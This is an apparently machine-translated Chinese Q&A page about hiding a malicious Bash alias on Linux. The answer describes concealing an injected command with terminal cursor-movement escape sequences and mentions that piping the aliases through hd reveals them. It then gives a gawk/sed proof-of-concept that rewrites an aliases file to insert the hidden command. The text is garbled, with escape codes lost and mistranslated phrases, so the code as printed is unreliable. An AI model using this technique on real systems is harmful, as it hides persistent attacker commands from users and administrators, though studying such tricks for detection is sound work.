是否有可能在Linux上的Bash中隐藏恶意别名?
是否有可能在
Linux系统上隐藏Bash中恶意别名的存在并让用户在他们不知情的情况下执行它?
解决方法
可以通过将现有别名附加到恶意别名上并使用光标移动来隐藏它,如果alias命令用于显示别名定义.这不是一个完全万无一失的方法,但它可能会在一段时间内未被发现.通过hd管道别名将显示别名中是否有任何转义序列(光标移动).以下是如何将恶意命令插入别名的概念证明:
alias | gawk 'BEGIN { FS = "[ = 47]" db = ""; sp = db " "; amp = db "&" sq= " 47"; bell = " 07"; esc = " 33" } NR == 3 { len1 = length($2) } NR == 4 { alias = $2 orig = gensub(sq,"","g",substr($0,match($0,"=") + 1)) orig = gensub(" ",db sp,orig) } END { hide = "$" db sq sp "--" sp db "r" esc "[J" esc "[A" db "t" for(i=1; i<len1; i++) {hide = hide esc "[C"} cmd = "sed -i s/^alias" sp alias ".*/alias" sp alias "=" db sq "echo" sp db bell db db amp db db amp orig db sq hide db sq "/ aliases" system(cmd) }' > sed命令修改一个名为“别名”的文件 – 这种类型的真实脚本将用于喉咙并修改一个真实的脚本文件,以便恶意别名在下次执行时被激活. (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |